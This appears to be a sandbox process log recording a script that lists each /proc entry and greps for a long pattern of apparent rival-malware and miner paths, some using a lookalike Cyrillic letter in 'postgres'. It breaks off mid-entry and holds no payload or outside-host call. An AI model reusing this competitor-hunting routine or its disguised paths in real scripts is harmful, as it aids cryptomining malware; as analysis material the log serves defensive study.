- /bin/ls
  ls -latrh /proc/609
  2⤵
  PID:1061
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1065
- /bin/grep
  grep exe
  2⤵
  PID:1069
- /bin/ls
  ls -latrh /proc/649
  2⤵
  PID:1068
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1071
- /bin/ls
  ls -latrh /proc/650
  2⤵
  PID:1073
- /bin/grep
  grep exe
  2⤵
  PID:1074
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1076
- /bin/grep
  grep exe
  2⤵
  PID:1079
- /bin/ls
  ls -latrh /proc/654
  2⤵
  PID:1078
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1081
- /bin/grep
  grep exe
  2⤵
  PID:1084
- /bin/ls
  ls -latrh /proc/655
  2⤵
  PID:1083
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1086
- /bin/grep
  grep exe
  2⤵
  PID:1089
- /bin/ls
  ls -latrh /proc/656
  2⤵
  PID:1088
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1091
- /bin/ls
  ls -latrh /proc/657
  2⤵
  PID:1093
- /bin/grep
  grep exe
  2⤵
  PID:1094
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1096
- /bin/grep
  grep exe
  2⤵
  PID:1099
- /bin/ls
  ls -latrh /proc/663
  2⤵
  PID:1098
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1101
- /bin/grep
  grep exe
  2⤵
  PID:1104
- /bin/ls
  ls -latrh /proc/666
  2⤵
  PID:1103
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1106
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1109
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1111
- /bin/grep
  grep exe
  2⤵
  PID:1114
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1113
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1116
- /bin/grep
  grep exe
  2⤵
  PID:1119
- /bin/ls
  ls -latrh /proc/704
  2⤵
  PID:1118
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1121
- /bin/grep
  grep exe
  2⤵
  PID:1124
- /bin/ls
  ls -latrh /proc/705
  2⤵
  PID:1123
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1126
- /bin/grep
  grep exe
  2⤵
  PID:1129
- /bin/ls
  ls -latrh /proc/706
  2⤵
  PID:1128
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1131
- /bin/grep
  grep exe
  2⤵
  PID:1134
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1133
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1136
- /bin/grep
  grep exe
  2⤵
  PID:1139
- /bin/ls
  ls -latrh /proc/80
  2⤵
  PID:1138
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1141
- /bin/grep
  grep exe
  2⤵
  PID:1144
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1143
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1146
- /bin/ls
  ls -latrh /proc/apm
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1149
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1154
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1156
- /bin/grep
  grep exe
  2⤵
  PID:1159
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1158
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1161
- /bin/grep
  grep exe
  2⤵
  PID:1164
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1163
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1166
- /bin/grep
  grep exe
  2⤵
  PID:1169
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1168
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1174
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1176
- /bin/grep
  grep exe
  2⤵
  PID:1179
- /bin/ls
  ls -latrh /proc/cpu
  2⤵
  PID:1178
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1181
- /bin/grep
  grep exe
  2⤵
  PID:1184
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1183
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1186
- /bin/grep
  grep exe
  2⤵
  PID:1189
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1188
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1191
- /bin/grep
  grep exe
  2⤵
  PID:1194
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1193
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1198
- /bin/grep
  grep exe
  2⤵
  PID:1199
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1201
- /bin/grep
  grep exe
  2⤵
  PID:1204
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1203
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1206
- /bin/grep
  grep exe
  2⤵
  PID:1209
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1208
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1211
- /bin/grep
  grep exe
  2⤵
  PID:1214
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1213
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1216
- /bin/grep
  grep exe
  2⤵
  PID:1219
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1218
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1221
- /bin/grep
  grep exe
  2⤵
  PID:1224
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1223
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1226
- /bin/grep
  grep exe
  2⤵
  PID:1229
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1228
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1231
- /bin/grep
  grep exe
  2⤵
  PID:1234
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1233
- /bin/grep
